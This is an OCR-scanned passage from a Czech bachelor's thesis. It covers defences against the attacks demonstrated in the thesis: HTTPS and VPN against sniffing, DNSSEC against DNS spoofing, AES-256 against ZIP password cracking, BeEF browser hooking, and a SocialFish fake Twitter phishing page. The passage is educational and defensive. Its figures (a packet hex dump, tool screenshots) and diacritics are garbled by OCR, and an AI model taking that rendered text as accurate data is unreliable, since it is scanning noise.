Encrypted Application Data: 00000000000000018%a78Teb8lch4e526f3985f6aef8fldc. . .

FEE IR

0006 | 52 54 00 12 35 00 f8 42 a7 88 0@ 45 00 RT 5 E
02 bf 9a 6d 40 060 40 06 25 b9 Pa 00 02 Of 32 Ic ne-@- % 2
39 e8 c7 3c 01 bb 46 20 da 6f 00 @9 ce bc 50 18 9. .<--F P
of bo 7a c4 00 00 17 03 ©3 02 92 0O 00 00 00 00 z
00 00 01 89 a7 8f eb 81 cb 4e 52 6T 39 85 6 ae NRO9
8 f1 dc f9 3d cd e4 28 ff df 67 3b 47 99 b8 65 =-( --g;G--e
27 d2 25 d7 6d 82 el 90 40 86 6d 91 4d c5 92 bl ' %-m @m-M
ee 15 c8 7f 15 27 de 26 35 9d 13 90 c5 73 ef 5d ‘&5
e8 d1 8d 20 c7 a4 4b 48 81 @9 87 28 52 7d @e 4d KI (R} M
64 ee 9d c9 9a 8f 8a 63 8f 97 33 3d ae dc 19 75 d c 3= u
09 2e c7 d9 c5 dc 97 81 90 1f 28 87 ea Tf 39 ce . ( 9
92 c7 ed 82 61 20 ce 52 77 fc f4 4b 5e d3 54 da a ‘R w KAT
38 3b 47 76 70 88 5e de d6 a3 @9 6d 33 c6 28 fa  8;Gvp-A m3 - (
d5 c7 59 3e 3a d8 do @4 57 d6 63 4b dO a@ 81 b2 Y>: W-cK
16 e4 79 42 c3 8e 84 9c b3 81 42 00 20 76 98 OcC yB B v
70 55 35 cc e e7 28 d0 T9 4e 15 e® 49 fd db 11 puUS--- (- “N- I
5d 3c cf d4 3b f7 46 3f 55 26 b3 e2 31 56 34 97  ]<--;-F? U& -1v4
c2 b5 65 a7 ce do 94 65 6b f5 fe c8 b0 63 00 25 e e c-%

Obrazek 22: Necitelny ptenos pomoci HTTPS protokolu
DalSim prvkem zabezpeceni je vyuziti virtudlni privatni sit€¢ (VPN), ktera byla vice predsta-
vena v klasifikaci nastrojii kybernetické bezpecnosti. Pouzitim VPN se vytvari Sifrovany

tunel pro komunikaci a uzivatel je navic chranén proti mnohym dal§im odposlouchavacim

utokam. [34]
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7.3 Ochrana proti DNS Spoofingu

Prvoradou ochranou proti napadeni by mélo byt neustdle monitorovani sité. Je tak mozné
zjistit, ze DNS server byl napaden a dochazi k pfesmérovani na faleSnou adresu. To ovSem
neni v rukou béznych uzivateld, ale spiSe poskytovateli DNS sluzeb. Uzivatelé by si ovSem
m¢éli oveétovat, zdali je vyuzivana zabezpecena komunikace ptes HTTPS protokol. Dochazi
tim k ovéfeni, Ze se opravdu komunikuje se serverem, s kterym bylo zamysleno komuniko-

vat a jeho digitalni certifikat je platny. [48]

Pro ochranu proti DNS Spoofingu existuji technologie jako DNSSEC ptidavajici urCité me-
tody pro ovéfeni. DNSSEC vyuZiva digitaln€ podepsané zdznamy, coz zajiStuje piipojeni

na adresy, které bylo plivodné opravdu zamysleno navstivit namisto téch faleSnych. [48]

7.4 Zabezpeceni proti prolomeni hesla

V praktické ¢asti byl vykonan utok snazici se prolomit heslo k ZIP archivu Sifrované meto-
dou ZipCrypto. Tato metoda ovSem neptedstavovala vysokou miru zabezpeceni. Redlné
se jevi jako nejbezpecnéjsi forma vyuzit kvalitn€jSiho AES-256 algoritmu pro Sifrovani
s kombinaci silného hesla. U takového hesla je velka Sance, Ze nebude nalezeno ve slovniku
hesel a bude v podstaté neprolomitelné. V praktické Casti bylo zaheslovani archivu prove-

deno pomoci open-source programu 7-Zip. [49]

Pidat do archivu *
Archiv: C:Mocal'
zaloha zip v
Format archivu: zip ~ Zplsob aktualizace: Pridat & nahradit soubory ~ ~
Uroved komprese: MNomalni o Cesty Relativni cesty bl
Komprima&ni metoda: Deflate v Moznosti
Vitworit SFX archiv

Velikaost slovniku: 2 KB ~

[] Zkomprimovat oteviené soubory
Velikost slova: 32 ~ [] Odstranit soubory po zabaleni
Velikost bloku: .

Zakadovani
Poéet vldken proceson: 16 ~ £16 Vedit heslo:
Spotfeba paméti pro zabaleni: 515 MB

Potvrzeni hesla:
Spotfeba paméti pro rozbaleni: 2MB | ,,,,,,, |
Rozdélit na dily, bajtu:
| by bag | [] Zobrazit heslo

Metoda zakadovani: AES-256 ~

Parametry: ZipCrypto
| | > e —

Obrazek 23: Zasifrovani hesla pomoci AES-256 metody
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7.5 Ochrana pii napadeni webového prohlizece

Nejlepsi ochranou proti napadeni webového prohlizece BeEF nastrojem by v idealnim pti-
padé znamenalo vypnuti Javascriptu v prohlizeci a k utoku by tak nedoslo. V dnesni dob¢ je
ale Javascript nezbytny pro spravné fungovani a zobrazovani stranek, a proto jeho zakazani

v prohlize¢i neni zrovna pozitivni feseni.

Proti tomuto typu utoku je ve vysledku velice obtizné se branit. Neékteré antivirové programy
jsou sice schopny predejit nacteni webové stranky se Skodlivym kddem, ale existuje moznost

je obelstit. Jejich pouzivani je i tak naprosto nezbytny zaklad, jak se chranit. [44]

7.6 Ochrana proti Phishing metodam

V praktické ¢asti byl vytvofen scénai s podvodnym emailem, ktery vyzadoval po uzivateli
aktualizaci svych udaji. Uvnitt tohoto emailu byl také odkaz se slovem ,,zde* na faleSnou

webovou stranku Twitteru vypadajici ovSem velmi divéryhodné.

Kdyz ptijde na ochranu proti Phishingu, existuje né¢kolik zdkladnich opatteni, jak ziistat 1épe
chranén. Dulezitou cestou je se vzdélavat v oblasti phishingovych technik a byt patficné
informovan, protoze s timto utokem se mize setkat kazdy. Jakmile se uzivatel stietne s ta-
kovym emailem, mél by zbystfit a neotevirat odkazy, které mu jsou poskytnuty v emailu,
pokud si neni stoprocentné jisty, Ze se jedna o danou stranku. Na obrazku nize je vidét pie-
smérovani na falesnou adresu v piipadé, ze by uzivatel vyuzil odkaz v emailu vytvofeného

v praktické ¢asti. [13]

SocialFish Neptune X ‘!Twitter. It's what's happ: X | +

<> C @ @ & 0.0.0.0:5000 150% | eee g 1

& 0.0.0.0
Connection |s Not Secure

Logins entered on this page could be
compromised.

TN
Permissions , | Login )
N S

You have not granted this site any special —
permissions.

() Follow y&® : See whats happening in
the world right now

00 i
e Hear what people are talking about.

Join Twitter today.

Obrazek 24: Podvodna stranka Twitteru s nezabezpecenym spojenim

Q Join the conversation.
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Pokud jiz uzivatel odkaz pouzije, v kazdém piipad¢ si musi zkontrolovat, zda je presméro-
van na spravnou adresu, a krom¢ toho je vyuzivana zabezpefena komunikace pomoci
HTTPS protokolu. Pfedchozi obrazek ukazuje pfesmérovani na adresu, ktera by byla
na prvni pohled velmi podeziela, v ptipad¢ Ze si ji uzivatel vSimne. Mnohdy jsou ale v adrese
zménény pouze detaily jako pomlcky a tecky a adresa se mize jevit jako prava. Nejlepsi
volbou ochrany tak je otevieni nového okna prohlizece a navstiveni webu vepsanim adresy

do adresniho fadku ru¢né. [13]

Dal$im bodem ochrany je nutnost, aby si uzivatel v§imal ¢astych technik pouzivanych v pod-
vodnych emailech. BéZné se v nich nachézi text s informaci o zablokovani ctu, vyzkumu
spokojenosti klientt, aktualizaci osobnich udaji nebo jiné emaily, které maji za cil vyvolat

v obéti strach nebo nutnost jednat podle pokynii uvedenych v emailu. [13]
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ZAVER

Bakalarska prace byla zamétena piredevsim na mobilni platformy a nastroje kybernetické
bezpec¢nosti pro mobilni platformu. Pomoci néstrojii spadajicich pod Kali Linux jako je
Wireshark pro $pehovani komunikace nebo John The Ripper slouzici pro prolomeni hesla,
byly nazorné demonstrovany rtizné typy utokl a na nich vysvétlen jejich prabéh. Chytry
telefon disponujici mobilni platformou Android nebo iOS se mtize stat jak obéti, tak ve Spat-
nych rukou 1 uto¢nym prostfedkem. Jelikoz se jednd o malé pfenosné zatizeni, je mozné
pomoci néj vytvaret Utoky, a pfitom vlastn€ neptitahovat pozornost, protoze uzivatelé své
telefony pouzivaji naprosto vSude a nikoho by ani nenapadlo, Ze ¢loveék vyuzivajici mobilni

telefon jako kazdy jiny, mé ve skutecnosti Uplné jiné timysly.

V teoretické Casti byly nejdiive popsany zakladni pojmy souvisejici s kybernetickou bezpec-
nosti a také kyberneticka bezpeénost v Ceské republice. DileZitou kapitolu predstavovaly
nejbéznéjsi hrozby v kybernetickém prostoru a jejich popis fungovani. Téchto hrozeb exis-
tuje znacné mnozstvi a mohou se lisit podle toho, jestli maji za cil kradez citlivych informaci,
poskozeni dat, Spehovani komunikace nebo dalsi jiny ucel. V kapitole o mobilnich platfor-
mach Android a i0OS byl ¢tenat sezndmen s jejich historii a dale zde bylo uvedeno podrobné
srovnani obou platforem v n€kolika kritériich, jako je bezpecnost, soukromi a fragmentace

jednotlivych zatizeni.

Cilem bakalarské prace bylo piedstavit Ctenafi nastroje kybernetické bezpecnosti pro mo-
bilni platformy. Protoze platformy Android a iOS patii k nejrozSifenéjSim na svété, stale
Castéji se musi feSit otazka bezpecnosti téchto zafizeni pii jejich nezastavitelném nartstu.
V praktické &asti byly simulovany n&které typy realnych utoki cilenych na uzivatele. Ctenat
tak dostava ptehled a praktickou ukdzku, jak si uto¢nici nejprve zjist'uji a sbiraji jakékoliv
informace o siti nebo uzivateli a podle ziskanych tidaji mohou smétovat a uzplisobovat utok
na Spatné zabezpecené systémy a zatfizeni. Pfitom nemusi jit dnes o nijak slozity utok vyza-
dujici pottebu znalosti programovani, jak se mnoho lidi domniva, ale pouze o vyuZiti kla-

mavych technik socialniho inZenyrstvi jako je Phishing.

V zavéru prace je popsana obecnd ochrana proti utoktim provedenych v praktické ¢asti, aby
Ctenaf Iépe pochopil a ziskal pfedevsim zékladni povédomi o tom, jak se miize v piipadé
napadeni branit a zdali viibec existuji i¢inné moznosti prevence a ochrany. Pfinosem prace

je také pochopeni toho, jak naprosto klicova je bezpecnost mobilnich nebo pocitacovych
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zafizeni, ktera jsou dnes vyuzivana masivnim poctem uzivateld napfi¢ celym svétem. Bez-
pecnost predstavuje jednu z nejvétSich vyzev, jelikoz jsou podniky, uzivatelé i celé staty
vystavovany stale vétsim hrozbam, které mohou zpusobit obrovské skody a finan¢ni ztraty.

Vzdy je proto lepsi hrozbam ptedejit, nez napachané skody poté napravovat.
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SEZNAM POUZITYCH SYMBOLU A ZKRATEK
GDPR General Data Protection Regulation

NBU Néarodni bezpe¢nostni urad

NUKIB  Narodni ufad pro kybernetickou a informaéni bezpeénost
CERT Computer Emergency Response Team

CSIRT Computer Security Incident Response Team

DNS Domain Name System
URL Uniform Resource Locator
DoS Denial of Service

DDoS Distributed Denial of Service

SQL Structured Query Language

XSS Cross-Site Scripting

ISMS Information Security Management System
API Application Programming Interface

IDS Intrusion Detection System

IPS Intrusion Prevention System

SIEM Security Information and Event Management
VNC Virtual Network Computing

HTTP Hypertext Transfer Protocol
HTTPS  Hypertext Transfer Protocol Secure
HTML Hypertext Markup Language

DNSSEC Domain Name System Security Extensions
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